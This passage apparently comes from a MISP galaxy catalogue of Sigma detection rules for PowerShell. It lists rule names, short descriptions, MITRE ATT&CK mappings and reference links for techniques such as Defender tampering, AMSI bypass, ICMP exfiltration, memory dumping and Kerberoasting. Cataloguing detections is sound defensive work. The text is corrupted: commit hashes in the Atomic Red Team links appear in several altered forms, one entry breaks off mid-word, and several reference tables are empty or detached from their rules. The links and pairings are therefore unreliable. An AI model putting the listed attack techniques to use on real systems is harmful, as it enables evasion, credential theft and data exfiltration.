<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_p">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_p</a> InvokeObfuscationViaUseRundll32.yml</td>
</tr>
</tbody>
</table>

Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging

Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet

The tag is: misp-galaxy:sigma-rules="Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging"

View relationships graph

Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 9057. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Powershell Execute Batch Script

Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

The tag is: misp-galaxy:sigma-rules="Powershell Execute Batch Script"

View relationships graph

Powershell Execute Batch Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 9058. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell"

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript

Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages

The tag is: misp-galaxy:sigma-rules="Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript"

Modify Group Policy Settings - ScriptBlockLogging

Detect malicious GPO modifications can be used to implement many other malicious behaviors.

The tag is: misp-galaxy:sigma-rules="Modify Group Policy Settings - ScriptBlockLogging"

View relationships graph

Modify Group Policy Settings - ScriptBlockLogging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
Powershell Store File In Alternate Data Stream

Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.

The tag is: `misp-galaxy:sigma-rules="Powershell Store File In Alternate Data Stream"`

View relationships graph

Powershell Store File In Alternate Data Stream has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with estimative-language:likelihood-probability="almost-certain"

Table 9062. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfef365fee2a9/atomics/T1564.004/T1564.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfef365fee2a9/atomics/T1564.004/T1564.004.md</a></td>
</tr>
</tbody>
</table>

Windows Screen Capture with CopyFromScreen

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.

The tag is: `misp-galaxy:sigma-rules="Windows Screen Capture with CopyFromScreen"`

View relationships graph

Windows Screen Capture with CopyFromScreen has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"` with estimative-language:likelihood-probability="almost-certain"

Table 9063. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfef365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfef365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml</a></td>
</tr>
</tbody>
</table>

Suspicious PowerShell Download - Powershell Script

Detects suspicious PowerShell download command
The tag is: *misp-galaxy:sigma-rules=*"Suspicious PowerShell Download - Powershell Script"

**View relationships graph**

Suspicious PowerShell Download - Powershell Script has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"PowerShell - T1059.001"* with *estimative-language:likelihood-probability=*"almost-certain"

**Table 9064. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Use Remove-Item to Delete File**

Powershell Remove-Item with -Path to delete a file or a folder with "-Recurse"

The tag is: *misp-galaxy:sigma-rules=*"Use Remove-Item to Delete File"

**View relationships graph**

Use Remove-Item to Delete File has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"File Deletion - T1070.004"* with *estimative-language:likelihood-probability=*"almost-certain"

**Table 9065. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057d7ff67d3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057d7ff67d3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml</a></td>
</tr>
</tbody>
</table>

**PowerShell Credential Prompt**

Detects PowerShell calling a credential prompt

The tag is: *misp-galaxy:sigma-rules=*"PowerShell Credential Prompt"

**View relationships graph**

PowerShell Credential Prompt has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"PowerShell - T1059.001"* with *estimative-
Execute Invoke-command on Remote Host

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

The tag is: *misp-galaxy:sigma-rules*="Execute Invoke-command on Remote Host"

Powershell Add Name Resolution Policy Table Rule

Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace. This will bypass the default DNS server and uses a specified server for answering the query.

The tag is: *misp-galaxy:sigma-rules*="Powershell Add Name Resolution Policy Table Rule"
Malicious PowerShell Keywords

Detects keywords from well-known PowerShell exploitation frameworks

The tag is: misp-galaxy:sigma-rules="Malicious PowerShell Keywords"

View relationships graph

Malicious PowerShell Keywords has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

PowerShell Set-Acl On Windows Folder - PsScript

Detects PowerShell scripts to set the ACL to a file in the Windows folder

The tag is: misp-galaxy:sigma-rules="PowerShell Set-Acl On Windows Folder - PsScript"

View relationships graph

PowerShell Set-Acl On Windows Folder - PsScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
Invoke-Obfuscation VAR+ Launcher - PowerShell

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher - PowerShell"`

View relationships graph

Invoke-Obfuscation VAR+ Launcher - PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9071. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml</a></td>
</tr>
</tbody>
</table>

AD Groups Or Users Enumeration Using PowerShell - ScriptBlock

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

The tag is: `misp-galaxy:sigma-rules="AD Groups Or Users Enumeration Using PowerShell - ScriptBlock"`

View relationships graph

AD Groups Or Users Enumeration Using PowerShell - ScriptBlock has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9072. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
PowerShell Write-EventLog Usage

Detects usage of the "Write-EventLog" cmdlet with 'RawData' flag. The cmdlet can be leveraged to write malicious payloads to the EventLog and then retrieve them later for later use.

The tag is: `misp-galaxy:sigma-rules="PowerShell Write-EventLog Usage"`

Table 9073. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/">https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml</a></td>
</tr>
</tbody>
</table>

Potential Active Directory Enumeration Using AD Module - PsScript

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dll" DLL. Which is often used by attackers to perform AD enumeration.

The tag is: `misp-galaxy:sigma-rules="Potential Active Directory Enumeration Using AD Module - PsScript"`

Table 9074. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1617108657166061568?s=20">https://twitter.com/cyb3rops/status/1617108657166061568?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/samratashok/ADModule">https://github.com/samratashok/ADModule</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_active_directory_module_dll_import.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_active_directory_module_dll_import.yml</a></td>
</tr>
</tbody>
</table>

PowerShell ADRecon Execution

Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7.

The tag is: `misp-galaxy:sigma-rules="PowerShell ADRecon Execution"`
PowerShell ADRecon Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

### Suspicious GPO Discovery With Get-GPO

Detect use of Get-GPO to get one GPO or all the GPOs in a domain.

The tag is: misp-galaxy:sigma-rules="Suspicious GPO Discovery With Get-GPO"

### Disable-WindowsOptionalFeature Command

Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images
The tag is: `misp-galaxy:sigma-rules="Disable-WindowsOptionalFeature Command PowerShell"`

**View relationships graph**

Disable-WindowsOptionalFeature Command PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 9077. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windows_optional_feature.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windows_optional_feature.yml</a></td>
</tr>
</tbody>
</table>

---

**Powershell LocalAccount Manipulation**

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups

The tag is: `misp-galaxy:sigma-rules="Powershell LocalAccount Manipulation"`

**View relationships graph**

Powershell LocalAccount Manipulation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"

**Table 9078. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc2342bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc2342bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml</a></td>
</tr>
</tbody>
</table>
**PowerShell ICMP Exfiltration**

Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

The tag is: *misp-galaxy: sigma-rules=*"PowerShell ICMP Exfiltration"

View relationships graph

PowerShell ICMP Exfiltration has relationships with:


**Silence.EDA Detection**

Detects Silence EmpireDNSAgent as described in the Group-IP report

The tag is: *misp-galaxy: sigma-rules=*"Silence.EDA Detection"

View relationships graph

Silence.EDA Detection has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern=*"PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy: mitre-attack-pattern=*"DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy: mitre-attack-pattern=*"Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy: mitre-attack-pattern=*"System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

**Table 9079. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp</a></td>
</tr>
</tbody>
</table>

**Table 9080. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf">https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf</a></td>
</tr>
</tbody>
</table>
Testing Usage of Uncommonly Used Port

Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088 (Citation: Symantec Elfin Mar 2019) or port 587 (Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.

The tag is: misp-galaxy:sigma-rules="Testing Usage of Uncommonly Used Port"

View relationships graph

Testing Usage of Uncommonly Used Port has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

Table 9081. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1-testing-usage-of-uncommonly-used-port-with-powershell">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1-testing-usage-of-uncommonly-used-port-with-powershell</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Hotfix Enumeration

Detects call to "Win32QuickFixEngineering" in order to enumerate installed hotfixes often used in "enum" scripts by attackers

The tag is: misp-galaxy:sigma-rules="PowerShell Hotfix Enumeration"

Table 9082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/411Hall/JAWS/blob/233f142fcb1488172a174228666f6b3c5c48f1d/jaws-enum.ps1">https://github.com/411Hall/JAWS/blob/233f142fcb1488172a174228666f6b3c5c48f1d/jaws-enum.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml</a></td>
</tr>
</tbody>
</table>

Replace Desktop Wallpaper by Powershell

An adversary may deface systems internal to an organization in an attempt to intimidate or
mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper

The tag is: `misp-galaxy:sigma-rules="Replace Desktop Wallpaper by Powershell"`

View relationships graph

Replace Desktop Wallpaper by Powershell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9083. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccc3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccc3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml</a></td>
</tr>
</tbody>
</table>

**Potential WinAPI Calls Via PowerShell Scripts**

Detects use of WinAPI functions in PowerShell scripts

The tag is: `misp-galaxy:sigma-rules="Potential WinAPI Calls Via PowerShell Scripts"`

View relationships graph

Potential WinAPI Calls Via PowerShell Scripts has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"

Table 9084. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_api_susp_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_api_susp_access.yml</a></td>
</tr>
</tbody>
</table>

**Potential AMSI Bypass Script Using NULL Bits**

Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities

The tag is: `misp-galaxy:sigma-rules="Potential AMSI Bypass Script Using NULL Bits"`

View relationships graph
Potential AMSI Bypass Script Using NULL Bits has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9085. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f38b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi">https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f38b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi</a></td>
</tr>
</tbody>
</table>

**Live Memory Dump Using Powershell**

Detects usage of a PowerShell command to dump the live memory of a Windows machine.

The tag is: *misp-galaxy: sigma-rules="Live Memory Dump Using Powershell"*

**View relationships graph**

Live Memory Dump Using Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

**Table 9086. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**AADInternals PowerShell Cmdlets Execution - PsScript**

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

The tag is: *misp-galaxy: sigma-rules="AADInternals PowerShell Cmdlets Execution - PsScript"*

**Table 9087. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://o365blog.com/aadinternals/">https://o365blog.com/aadinternals/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Gerenios/AADInternals">https://github.com/Gerenios/AADInternals</a></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell

Detections Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell"

View relationships graph

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
</tbody>
</table>

Potential PowerShell Obfuscation Using Alias Cmdlets

Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts

The tag is: misp-galaxy:sigma-rules="Potential PowerShell Obfuscation Using Alias Cmdlets"

View relationships graph

Potential PowerShell Obfuscation Using Alias Cmdlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9089. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/1337Rin/Swag-PSO">https://github.com/1337Rin/Swag-PSO</a></td>
</tr>
</tbody>
</table>
Suspicious New-PSDrive to Admin Share

Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

The tag is: `misp-galaxy:sigma-rules="Suspicious New-PSDrive to Admin Share"`

View relationships graph

Suspicious New-PSDrive to Admin Share has relationships with:


Table 9090. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfddd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2-map-admin-share-powershell">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfddd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2-map-admin-share-powershell</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_psh_susp_new_psdrive.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_psh_susp_new_psdrive.yml</a></td>
</tr>
</tbody>
</table>

Request A Single Ticket via PowerShell

utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.

The tag is: `misp-galaxy:sigma-rules="Request A Single Ticket via PowerShell"`

View relationships graph

Request A Single Ticket via PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"` with `estimative-language:likelihood-probability="almost-certain"`

Table 9091. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfddd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4-request-a-single-ticket-via-powershell">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfddd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4-request-a-single-ticket-via-powershell</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_psh_request_kerberos_ticket.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_psh_request_kerberos_ticket.yml</a></td>
</tr>
</tbody>
</table>
**NTFS Alternate Data Stream**

Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.

The tag is: `misp-galaxy:sigma-rules="NTFS Alternate Data Stream"`

**View relationships graph**

NTFS Alternate Data Stream has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

**Get-ADUser Enumeration Using UserAccountControl Flags**

Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.

The tag is: `misp-galaxy:sigma-rules="Get-ADUser Enumeration Using UserAccountControl Flags"`

**View relationships graph**

Get-ADUser Enumeration Using UserAccountControl Flags has relationships with:


**Table 9092. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.powertheshell.com/ntfsstreams/">http://www.powertheshell.com/ntfsstreams/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml</a></td>
</tr>
</tbody>
</table>

**Table 9093. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/">https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/</a></td>
</tr>
</tbody>
</table>
**Powershell Create Scheduled Task**

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code

The tag is: `misp-galaxy:sigma-rules="Powershell Create Scheduled Task"`

**View relationships graph**

Powershell Create Scheduled Task has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

**Table 9094. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
